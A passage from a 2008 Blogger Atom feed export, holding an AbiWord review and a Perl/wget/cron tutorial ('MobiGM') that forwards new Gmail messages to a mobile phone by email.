/&gt;We want a single command to run to complete both functions (download and parse the atom feed). So, save the perlscript as 'mail.pl' and make a small shell script called run.sh:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;&lt;br /&gt;wget -O atomfeed https://mail.google.com/gmail/feed/atom --http-user=gmail.user@gmail.com --http-password=gmailPassword&lt;br /&gt;./mail.pl&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Test this out. If it doesn't work, try adding debugging statements in the code to see where/why it fails.&lt;br /&gt;&lt;br /&gt;Automation&lt;br /&gt;The last thing to do is to automate the script so it runs periodically. For this you need to be running a cron daemon. There's a large variety of daemons available, each with it's own method of configuration. For Gentoo users, we can do the following (as root):&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;host user # crontab -e&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then add a line to the crontab file such as:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;0,15,30,45 * * * * /home/th0mas/mobigm/run.sh&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This tells the server to run the script 0, 15, 30, and 45 minutes after every hour.&lt;br /&gt;&lt;br /&gt;Ideas&lt;br /&gt;It'd be easy to set up custom filters, for example you could compare the author's name to a whitelist, or ensure that it is currently a specific time of day (or do that automation with the crontab). Or you could modify the code to look at other RSS or atom feeds to notify your cellphone of a new blog update.&lt;br /&gt;&lt;br /&gt;Download&lt;br /&gt;You can download a copy of the files we've created in this entry here:&lt;br /&gt;http://th0mas.xbox-scene.com/tuts/mobigm-1.tgz&lt;br /&gt;&lt;br /&gt;Feedback&lt;br /&gt;This is the first tutorial I've written in awhile. Please let me know if I should expand on detail in places, or be more terse in others. I'll be reading the comments.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-3889157446122785277?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/3889157446122785277/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=3889157446122785277' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/3889157446122785277'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/3889157446122785277'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/03/mobigm.html' title='MobiGM'/><author><name>suvarna latha</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-6127781943599534787</id><published>2008-03-02T19:57:00.001-08:00</published><updated>2008-03-02T19:57:05.601-08:00</updated><title type='text'>AbiWord 2.4 - A serious Open Source alternative to Microsoft Word or Open Office</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;a href='http://1.bp.blogspot.com/_doBHNuxZcyg/R8nPuLo9OcI/AAAAAAAAABg/u4R82w051dY/s1600-h/022908_AbiWord_screen_cap.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;br/&gt;&lt;/a&gt;&lt;a href='http://1.bp.blogspot.com/_doBHNuxZcyg/R8nPuLo9OcI/AAAAAAAAABg/u4R82w051dY/s1600-h/022908_AbiWord_screen_cap.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;img border='0' id='BLOGGER_PHOTO_ID_5172894039317232066' alt='' src='http://1.bp.blogspot.com/_doBHNuxZcyg/R8nPuLo9OcI/AAAAAAAAABg/u4R82w051dY/s320/022908_AbiWord_screen_cap.jpg'/&gt;&lt;br/&gt;&lt;/a&gt;&lt;a href='http://1.bp.blogspot.com/_doBHNuxZcyg/R8nPuLo9OcI/AAAAAAAAABg/u4R82w051dY/s1600-h/022908_AbiWord_screen_cap.jpg' onblur='try {parent.deselectBloggerImageGracefully();} catch(e) {}'&gt;&lt;br/&gt;&lt;/a&gt;Time to upgrade your Microsoft Office and the price has you reeling?  Or maybe you've considered &lt;a href='http://www.openoffice.org/'&gt;Open Office&lt;/a&gt;,&lt;br /&gt;but have a dial-up connection and can't tie up the phone line for the 2&lt;br /&gt;days it would take to download? Well, there is a serious alternative&lt;br /&gt;out there, and it's called &lt;a href='http://www.abisource.com/download/'&gt;AbiWord&lt;/a&gt;.&lt;br /&gt;And you won't have to leave the rest of the world behind - AbiWord&lt;br /&gt;reads and writes the Microsoft doc format, as well as quite a few other&lt;br /&gt;formats.&lt;br/&gt;&lt;br/&gt;The download weighs in at only 22mb, but the program&lt;br /&gt;contains all the features that most of us need in a word processor. MS&lt;br /&gt;Word and Open Office Writer are bloated with features that most of us&lt;br /&gt;will never use.&lt;br/&gt;&lt;br/&gt;AbiWord comes with a very capable spell checker,&lt;br /&gt;multi-language support, mail-merge, and can handle tables, columns,&lt;br /&gt;headers/footers, page numbers, revisions, bookmarks, table of contents,&lt;br /&gt;and HTML links. You can also insert images, fields, text boxes, and&lt;br /&gt;symbols into documents.&lt;br/&gt;&lt;br/&gt;The interface is very similar to MS&lt;br /&gt;Word, but without the extra clutter. The program launches quickly and&lt;br /&gt;movement within documents is fast as well. You can export documents&lt;br /&gt;directly in the default AbiWord format, MS doc or HTML/XHTML format.&lt;br /&gt;Available plug-ins allow you to read/write WordPerfect and OpenOffice&lt;br /&gt;files.&lt;br/&gt;&lt;br/&gt;One thing missing from AbiWord is the auto-complete that&lt;br /&gt;I've grown used to in OpenOffice Writer. This feature completes&lt;br /&gt;commonly-typed words for you after you have typed the first few&lt;br /&gt;characters. I will be suggesting this feature to the folks at AbiWord.&lt;br /&gt;The only other downside to this program is the lack of an integrated&lt;br /&gt;help file - The help file is an HTML file stored in the program&lt;br /&gt;directory (or you can view the help file on the AbiWord website).&lt;br/&gt;&lt;br/&gt;The Bottom Line...&lt;br/&gt;&lt;br/&gt;If&lt;br /&gt;you've been looking for a cheaper alternative to MS Word or something&lt;br /&gt;more lightweight than OpenOffice, then I would definitely recommend&lt;br /&gt;giving AbiWord a try. It handles the tasks that most of us need on a&lt;br /&gt;daily basis and the price is hard to beat (free for any use). AbiWord&lt;br /&gt;is compatible with all Windows up to XP (no mention of Vista support on&lt;br /&gt;the author's website), Mac OS X and Linux. You can downloaded AbiWord &lt;a href='http://www.abisource.com/download/'&gt;here&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-6127781943599534787?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/6127781943599534787/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=6127781943599534787' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/6127781943599534787'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/6127781943599534787'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/03/abiword-24-serious-open-source.html' title='AbiWord 2.4 - A serious Open Source alternative to Microsoft Word or Open Office'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_doBHNuxZcyg/R8nPuLo9OcI/AAAAAAAAABg/u4R82w051dY/s72-c/022908_AbiWord_screen_cap.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-9199443597095123086</id><published>2008-03-02T09:05:00.000-08:00</published><updated>2008-03-02T09:06:10.911-08:00</updated><title type='text'>MobiGM, First edition</title><content type='html'>&lt;h3&gt;What is it?&lt;/h3&gt;&lt;table width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;MobiGM is a small utility that periodically checks your GMail inbox, and sends updates to a mobile phone via email. Certainly, you could just set up a couple filters with GMail's powerful filtering system to forward messages to your phone and be happy with that, but MobiGM allows you to dynamically react to what appears in your mailbox (which we will exploit in future projects).&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Technologies used/Requirements:&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.gmail.com/"&gt;GMail&lt;/a&gt; / &lt;a href="http://en.wikipedia.org/wiki/Atom_%28standard%29"&gt;atom feeds&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.perl.com/"&gt;PERL&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;XML::Parser&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Net::SMTP&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Cron"&gt;cron&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.linux.org/"&gt;Linux&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.gnu.org/software/bash/"&gt;BASH&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.gnu.org/software/wget/"&gt;wget&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;h3&gt;How does it work?&lt;/h3&gt;GMail users can subscribe to an atom feed that contains unread emails in their inbox. We will write a simple script to download the atom feed, parse it, figure out if any emails are new, and forward the new emails to our cell phone address. Note that there are still some pay-as-you-go cellphone providers that do not charge for receiving text messages (even from email), so this can be a very inexpensive way to keep track of your inbox on the go.&lt;br /&gt;&lt;br /&gt;There is a lot of potential to add power to this application. With a little knowledge of PERL, you could create custom filters (including things impossible with GMail filters such as "only forward during xx hours of the day") and reactions to receiving emails.&lt;br /&gt;&lt;br /&gt;Let's begin.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Receiving the feed&lt;/h3&gt;&lt;i&gt;Note: You could do this also in PERL.  I'm doing it in wget.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;The first thing the script needs to do, is receive the atom feed for your GMail inbox. We will use GNU wget to obtain the feed. In it's most basic form, wget's syntax is:&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;&lt;span style="font-family: courier new;"&gt;wget &lt;url&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;hr /&gt;&lt;br /&gt;However, we need to specify a few additional parameters, namely HTTP authentication username and password. As well, we want to force wget to always download to the same filename. It's normal action is to not overwrite files that already exist, so we have to override it. So, the syntax becomes:&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;&lt;span style="font-family: courier new;"&gt;wget -O &lt;output&gt; &lt;url&gt; --http-user=&lt;username&gt; --http-password=&lt;password&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;For GMail, the parameters are as follows:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;URL&lt;/span&gt;: https://mail.google.com/gmail/feed/atom&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;http-user &lt;/span&gt;: your.e.mail@gmail.com&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;http-password&lt;/span&gt;: your gmail password&lt;br /&gt;&lt;br /&gt;Note that since the atom feed is on an https server, we are not passing our username/password in the clear.&lt;br /&gt;&lt;br /&gt;For the article, let's force wget to save into a file called 'atomfeed'.  Our command is now:&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="font-family: courier new; font-size: 85%;"&gt;wget -O atomfeed https://mail.google.com/gmail/feed/atom  --http-user=gmail.user@gmail.com --http-password=GMailPassword&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;Now that we have the atom feed, it is time to parse it.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Parsing the Atom feed&lt;/h3&gt;We will use a short PERL script to parse the atom feed, and forward pertinent messages to the cellphone.&lt;br /&gt;&lt;br /&gt;Atom feeds are conceptually the same as RSS feeds, in case you have not heard of both. They are XML documents that contain a summary of information: ie, blog entries, news entries, or in this case, your unread messages in your inbox. The structure of the GMail atom feed is as follows:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;feed&lt;/b&gt; - top level tag&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;fullcount&lt;/b&gt; - Number of unread emails&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;entry&lt;/b&gt; - tag for each unread email&lt;br /&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;title&lt;/b&gt; - Email subject line&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;id&lt;/b&gt; - Unique identifier for each inbox entry&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;summary&lt;/b&gt; - Short snippet of email contents&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;author&lt;/b&gt; - Parent tag for source's information&lt;br /&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;email&lt;/b&gt; - Author's email&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;name&lt;/b&gt; - Author's name&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;/ul&gt; Since the atom feed is a properly formatted XML document, we will use the PERL module XML::Parser to parse the data. First, we'll set up some variables for parsing and for keeping track of our state.&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="font-family: courier new; font-size: 85%;"&gt;#!/usr/bin/perl -w&lt;br /&gt;&lt;br /&gt;use XML::Parser;&lt;br /&gt;use Net::SMTP;&lt;br /&gt;&lt;br /&gt;open(ATOM, "atomfeed") or die ("Failed to get atomfeed");&lt;br /&gt;&lt;br /&gt;my $page;&lt;br /&gt;&lt;br /&gt;#load the atom feed&lt;br /&gt;while ($line = &lt;/span&gt;&lt;atom&gt;&lt;span style="font-family: courier new; font-size: 85%;"&gt;) {&lt;br /&gt;$page = $page . $line;&lt;br /&gt;}&lt;br /&gt;close(ATOM);&lt;br /&gt;&lt;br /&gt;my $curID = "";&lt;br /&gt;my $curTitle = "";&lt;br /&gt;my $curContents = "";&lt;br /&gt;my $curAuthor = "";&lt;br /&gt;my $curAuthorEmail = "";&lt;br /&gt;&lt;br /&gt;my $elementtext;&lt;br /&gt;my @context;&lt;br /&gt;my @oldIDs;&lt;br /&gt;my @newIDs;&lt;br /&gt;&lt;br /&gt;my $parser = new XML::Parser();&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/atom&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;The code's pretty self explanitory.  We load the atom feed into the &lt;b&gt;$page&lt;/b&gt; variable.  For use with the parsing functions, we initialize five variables (&lt;b&gt;$curID&lt;/b&gt;. &lt;b&gt;$curTitle&lt;/b&gt;, &lt;b&gt;$curContents&lt;/b&gt;, &lt;b&gt;$curAuthor&lt;/b&gt;, &lt;b&gt;$curAuthorEmail&lt;/b&gt;) used to keep track of the entry currently being parsed.  As well we create variables to keep track of our parsing state (&lt;b&gt;$elementtext&lt;/b&gt; and &lt;b&gt;@context&lt;/b&gt;).  Ignore the ID-related variables, we'll deal with them later.&lt;br /&gt;&lt;br /&gt;Our next step is to use XML::Parser to parse the atom feed.  This is accomplished by the following code:&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="font-family: courier new; font-size: 85%;"&gt;$parser-&gt;setHandlers(&lt;br /&gt;Start =&gt; \&amp;amp;startTag,&lt;br /&gt;Char =&gt; \&amp;amp;parseTag,&lt;br /&gt;End =&gt; \&amp;amp;endTag, );&lt;br /&gt;&lt;br /&gt;$parser-&gt;parse($page);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;What we've done is told the XML parser to use three supplied subroutines (passed by reference) as callbacks during parsing. The &lt;b&gt;startTag&lt;/b&gt; routine will be called whenever the parser encounters a new tag.  Likewise, the &lt;b&gt;parseTag&lt;/b&gt; routine is called as we encounter text in each tag, and the &lt;b&gt;endTag&lt;/b&gt; routine is called whenever the parser encounters the end of a tag. The final line of the snippet executes the parser, parsing the atom feed using our supplied functions.&lt;br /&gt;&lt;br /&gt;We have to supply these subrountines, since they detail how we deal with the data we're parsing. Put these at the bottom of the perl script since they're separate subrountines.&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="font-family: courier new; font-size: 85%;"&gt;sub startTag {&lt;br /&gt;my ($p, $tag, %atts) = @_;&lt;br /&gt;push @context, $tag;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub parseTag {&lt;br /&gt;my ($p, $text) = @_;&lt;br /&gt;return if ($text !~ /\S/);&lt;br /&gt;$text =~ s/^\s*//;&lt;br /&gt;$text =~ s/\s*^//;&lt;br /&gt;$elementtext .= $text;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub endTag {&lt;br /&gt;my ($p, $tag) = @_;&lt;br /&gt;&lt;br /&gt;$parentElem = $context[-2];&lt;br /&gt;&lt;br /&gt;if ($tag eq "id" &amp;amp;&amp;amp; $parentElem eq "entry") {&lt;br /&gt;$curID = $elementtext;&lt;br /&gt;} elsif ($tag eq "title" &amp;amp;&amp;amp; $parentElem eq "entry") {&lt;br /&gt;$curTitle = $elementtext;&lt;br /&gt;} elsif ($tag eq "summary" &amp;amp;&amp;amp; $parentElem eq "entry") {&lt;br /&gt;$curContents = $elementtext;&lt;br /&gt;} elsif ($tag eq "email" &amp;amp;&amp;amp; $parentElem eq "author") {&lt;br /&gt;$curAuthorEmail = $elementtext;&lt;br /&gt;} elsif ($tag eq "name" &amp;amp;&amp;amp; $parentElem eq "author") {&lt;br /&gt;$curAuthor = $elementtext;&lt;br /&gt;} elsif ($tag eq "entry") {&lt;br /&gt;push @newIDs, $curID;&lt;br /&gt;my $old = 0;&lt;br /&gt;&lt;br /&gt;sendMail("Subject:$curTitle\n\nFrom:$curAuthorEmail [$curAuthor]\n$curContents");&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;$elementtext = "";&lt;br /&gt;pop @context;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;The &lt;b&gt;startTag&lt;/b&gt; and &lt;b&gt;parseTag&lt;/b&gt; subroutines are trivial.  We're using the &lt;b&gt;@context&lt;/b&gt; array as a stack to keep track of our state within the parser. Each time we enter a tag and begin to parse it's children or data, we push the element name onto the stack. We use this in the &lt;b&gt;endTag&lt;/b&gt; subroutine to determine what to do with the parsed text.  The &lt;b&gt;parseTag&lt;/b&gt; subroutine, which is run during the parsing of data nodes, appends whatever data is supplied to the routine to the &lt;b&gt;$elementtext&lt;/b&gt; variable (which will be used in &lt;b&gt;endTag&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;The &lt;b&gt;endTag&lt;/b&gt; subroutine looks at the current context in the node tree and saves the current &lt;b&gt;$elementtext&lt;/b&gt; to the proper variable.  Whenever we encounter the end of an &lt;b&gt;entry&lt;/b&gt; tag, we send the email to the server. This is a dirty solution: a nicer solution would be to save all the entry data into a data structure and later deal with each entry saved (an exercise for the reader ;) ). The final thing the procedure does is pop the finished tag off the &lt;b&gt;@context&lt;/b&gt; stack and clear the &lt;b&gt;$elementtext&lt;/b&gt; buffer.&lt;br /&gt;&lt;br /&gt;Note that if you want to change the format of the sent email, change the formatting in the &lt;b&gt;sendMail&lt;/b&gt; function call, above.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Sending the Email&lt;/h3&gt;As shown in &lt;b&gt;endTag&lt;/b&gt;, we use&lt;b&gt; sendMail&lt;/b&gt; to send the email to the cellphone.  The source code is as follows:&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="font-family: courier new; font-size: 85%;"&gt;sub sendMail {&lt;br /&gt;&lt;br /&gt;my @message;&lt;br /&gt;push @message, $_[0];&lt;br /&gt;&lt;br /&gt;$smtp2 = Net::SMTP-&gt;new('smtp.server.ca');&lt;br /&gt;&lt;br /&gt;$smtp2-&gt;mail('source.email@isp.ca');&lt;br /&gt;$smtp2-&gt;to('cellphoneemail@provider.com');&lt;br /&gt;$smtp2-&gt;data();&lt;br /&gt;$smtp2-&gt;datasend(@message);&lt;br /&gt;$smtp2-&gt;dataend();&lt;br /&gt;$smtp2-&gt;quit;&lt;br /&gt;&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;b&gt;sendMail&lt;/b&gt; just uses the Net::SMTP module to send an email. You need to provide a SMTP server, source email address, and your cellphone's email address.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;What about duplicates?!?!&lt;/h3&gt;There's a major flaw with our current solution: every time our perlscript runs, it will send an email for all unread messages in our mailbox! That means that, until we read the messages, we will receive text messages every n minutes for the same messages. Obviously this is unsuitable!&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Solution&lt;/h3&gt;We will save the ID's of messages we have notified the cellphone of in a file. Before emailing the cellphone, we will compare with a saved list of ID's for messages that we have already sent to the cellphone. That way, the phone only receives notification of new emails.&lt;br /&gt;&lt;br /&gt;The first step is to load all the old ID's into an array. Place the code snippet below after the variable declaration (first snippet) and before the parser initialization (second snippet)&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="font-family: courier new; font-size: 85%;"&gt;#load the previous inbox ID's&lt;br /&gt;open(OLDID, "ids.old");&lt;br /&gt;while ($line = &lt;/span&gt;&lt;oldid&gt;&lt;span style="font-family: courier new; font-size: 85%;"&gt;) {&lt;br /&gt;chomp $line;&lt;br /&gt;push @oldIDs, $line;&lt;br /&gt;}&lt;br /&gt;close(OLDID);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/oldid&gt;&lt;hr /&gt;&lt;br /&gt;We open the file 'ids.old' (assumably saved by a previous run of the script), and load each line of the file into an array. We will modify &lt;b&gt;endTag&lt;/b&gt; to look through this array before determining whether or not it should send the email address, by changing the function's code as follows:&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="font-family: courier new; font-size: 85%;"&gt;sub endTag {&lt;br /&gt;my ($p, $tag) = @_;&lt;br /&gt;&lt;br /&gt;$parentElem = $context[-2];&lt;br /&gt;&lt;br /&gt;if ($tag eq "id" &amp;amp;&amp;amp;amp; $parentElem eq "entry") {&lt;br /&gt;$curID = $elementtext;&lt;br /&gt;} elsif ($tag eq "title" &amp;amp;&amp;amp;amp; $parentElem eq "entry") {&lt;br /&gt;$curTitle = $elementtext;&lt;br /&gt;} elsif ($tag eq "summary" &amp;amp;&amp;amp; $parentElem eq "entry") {&lt;br /&gt;$curContents = $elementtext;&lt;br /&gt;} elsif ($tag eq "email" &amp;amp;&amp;amp;amp; $parentElem eq "author") {&lt;br /&gt;$curAuthorEmail = $elementtext;&lt;br /&gt;} elsif ($tag eq "name" &amp;amp;&amp;amp;amp; $parentElem eq "author") {&lt;br /&gt;$curAuthor = $elementtext;&lt;br /&gt;} elsif ($tag eq "entry") {&lt;br /&gt;push @newIDs, $curID;&lt;br /&gt;my $old = 0;&lt;br /&gt;#was email in oldids?&lt;br /&gt;foreach $id (@oldIDs) {&lt;br /&gt;if ($curID eq $id) {&lt;br /&gt;$old = 1;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;if ($old == 0) {&lt;br /&gt;sendMail("Subject:$curTitle\n\nFrom:$curAuthorEmail [$curAuthor]\n$curContents");&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;$elementtext = "";&lt;br /&gt;pop @context;&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;As you can see, we are now comparing each entry's id to the loaded list of old ID's. Only if the id is not in the list do we notify the cell phone of the waiting message. As well, we are saving every message ID (old or new) in the array &lt;b&gt;@newIDs&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;The final thing to do is to re-write the 'ids.old' file to contain the message ID for all emails in our current feed. This code is placed after the &lt;b&gt;$parser-&gt;parse&lt;/b&gt; line, making it the last thing that happens in our main routine (and immediately above our subroutine code).&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-size: 85%;"&gt;open(NEWID, "&gt;ids.old");&lt;br /&gt;foreach $id (@newIDs) {&lt;br /&gt;print NEWID $id . "\n";&lt;br /&gt;}&lt;br /&gt;close(NEWID);&lt;/span&gt;&lt;span style="font-family: courier new; font-size: 85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;h3&gt;Putting it all together&lt;/h3&gt;We want a single command to run to complete both functions (download and parse the atom feed). So, save the perlscript as 'mail.pl' and make a small shell script called &lt;b&gt;run.sh&lt;/b&gt;:&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="font-family: courier new; font-size: 85%;"&gt;&lt;br /&gt;&lt;span style="font-family: courier new; font-size: 85%;"&gt;#!/bin/sh&lt;br /&gt;&lt;br /&gt;wget -O atomfeed https://mail.google.com/gmail/feed/atom         --http-user=gmail.user@gmail.com --http-password=gmailPassword&lt;br /&gt;./mail.pl&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;Test this out.  If it doesn't work, try adding debugging statements in the code to see where/why it fails.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Automation&lt;/h3&gt;The last thing to do is to automate the script so it runs periodically. For this you need to be running a cron daemon. There's a large variety of daemons available, each with it's own method of configuration. For Gentoo users, we can do the following (as root):&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;span style="font-family: courier new; font-size: 85%;"&gt;&lt;br /&gt;host user # &lt;b&gt;crontab -e&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;hr /&gt;&lt;br /&gt;Then add a line to the crontab file such as:&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="font-family: courier new; font-size: 85%;"&gt;0,15,30,45  * * * * /home/th0mas/mobigm/run.sh&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;This tells the server to run the script 0, 15, 30, and 45 minutes after every hour.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Ideas&lt;/h3&gt;It'd be easy to set up custom filters, for example you could compare the author's name to a whitelist, or ensure that it is currently a specific time of day (or do that automation with the crontab). Or you could modify the code to look at other RSS or atom feeds to notify your cellphone of a new blog update.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Download&lt;/h3&gt;You can download a copy of the files we've created in this entry here:&lt;br /&gt;&lt;a href="http://th0mas.xbox-scene.com/tuts/mobigm-1.tgz"&gt;http://th0mas.xbox-scene.com/tuts/mobigm-1.tgz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Feedback&lt;/h3&gt;This is the first tutorial I've written in awhile. Please let me know if I should expand on detail in places, or be more terse in others. I'll be reading the comments.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-9199443597095123086?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/9199443597095123086/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=9199443597095123086' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/9199443597095123086'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/9199443597095123086'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/03/mobigm-first-edition.html' title='MobiGM, First edition'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' 